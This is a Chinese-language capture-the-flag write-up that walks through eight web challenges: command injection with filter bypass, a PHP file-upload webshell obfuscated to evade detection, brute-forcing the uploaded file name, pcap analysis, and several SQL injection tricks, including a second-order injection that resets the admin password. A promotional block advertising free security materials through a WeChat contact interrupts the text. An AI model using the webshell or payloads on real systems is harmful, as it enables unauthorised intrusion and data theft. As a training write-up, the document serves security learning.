0x01 命令執行
直接payload: 127.0.0.1 &whoami,發現可以成功執行whoami命令
然後ls ../ ,發現有個key.php文件
嘗試用cat命令查看發現不行被攔截了。(其實題目過濾了常用的查看文件的命令)
這裏有兩種思路,第一種是根據題目意思用命令執行寫webshell的方式去進行getshell,第二種方式則是使用linux的命令進行繞過。這裏採用第二種方式使用c''at的方式進行繞過。
0x02 基礎題目之文件上傳突破
可以發現部分上傳代碼,文件名被命名成一個隨機數加上原本的文件名然後md5的值。
直接上傳一個帶圖片頭的php木馬(會檢測是否是圖片,所以需要一個GIF89A當圖片頭),而且過濾了一些敏感函數如eval等。這裏直接上傳一個免殺的木馬即可。
<?php function go() { $func1 = chr(97) . chr(115) . chr(115) . chr(101) . chr(114) . chr(116); return $func1; } $func1 = go(); $array1 = array($_GET['cmd']); array_map($func1, $func1 = $array1); ?>
然後接下來就是爆破出shell的地址了,這裏我們直接把上傳的數據包重放1000次用來提高爆破成功的效率。
【---- 幫助網安學習,以下所有學習資料免費領!領取資料加 we~@x:dctintin,備註 “開源中國” 獲取!】
① 網安學習成長路徑思維導圖
② 60 + 網安經典常用工具包
③ 100+SRC 漏洞分析報告
④ 150 + 網安攻防實戰技術電子書
⑤ 最權威 CISSP 認證考試指南 + 題庫
⑥ 超 1800 頁 CTF 實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP 客戶端安全檢測指南(安卓 + IOS)
用burp的null payload發送1000次
然後設置上傳的文件名1.php爲前綴,加上隨機數的1~99999,最後經過md5加密即可。
設置前綴爲1.php (上傳的文件名)
然後添加md5
最後就是等待爆破成功。
key在web根目錄下的key.php文件
0x03 基礎題目之流量分析
下載數據包,使用wireshark發現是http協議居多,首先可以使用wireshark的導出文件查看一下http的訪問文件分組。
可以發現攻擊者在進行目錄爆破。這裏可以直接選擇
然後根據文件大小排序一下,發現其中有一個壓縮包。
但是壓縮包設置了密碼
然後查找http數據中是否有包含壓縮包名字的數據包,其中phpspy.php包含了這個壓縮包的名稱。
追蹤流結果發現Adm1n!是解壓密碼(%21是url編碼)
0x04 代碼審計
考點就是讓數字繞過is_numerice判斷,這裏直接使用數字後面跟一個字符串即可繞過。
0x05 基礎題目之SQL注入
首先發現題目有一個註冊界面,註冊賬號之後進行登錄。
然後再發表文章處發現存在insert注入。
直接抓取數據包使用sqlmap即可
0x06 基礎題目之SQL注入
沒什麼特別的,只是過濾了union關鍵字這裏用雙寫繞過就可以了, ununionion這樣。
然後直接load_file讀取文件即可獲取key。
0x07 無回顯命令執行
很簡單,看了一下代碼,限制了cmd參數的命令長度而已。可以使用linux的流符號生成一個文件
0x08 二階SQL注入
二次注入是一種SQL注入攻擊的形式,它涉及到用戶輸入的數據在第一次被存儲到數據庫中時被錯誤地處理,導致在後續的查詢中,這些原本被轉義的數據再次被使用,從而執行惡意命令。
第一步是插入惡意數據:
在第一次插入數據時,開發者可能使用了函數如addslashes過濾了,這時是沒有問題的。
比如註冊功能:
這裏註冊一個test'用戶 ,由於'被成功轉義成了'所以這裏是能夠正常執行sql語句的。
然後登錄test'用戶也是沒有問題的
但是問題出現再第二次數據庫操作中,由於被存入的數據庫的用戶名是test',那麼在第二次系統從數據庫中獲取用戶名的時候如果沒有過濾那麼就會造成二次注入。
比如更新密碼:
系統的語句可能會長這樣:
update user set passwd = 'newpasswd' where uname = 'test'' #test'是用戶名。那麼這種情況就可能導致注入。
那麼二次注入怎麼利用,這裏可以看到需要admin用戶登錄才能夠得到key,那麼我們能夠用構造一條語重置admin密碼就可以了
update user set passwd = 'newpasswd' where uname = 'aaa' or 1 --a'
aaa' or 1 -- a是用戶名
用新用戶重置admin的密碼
再次登錄admin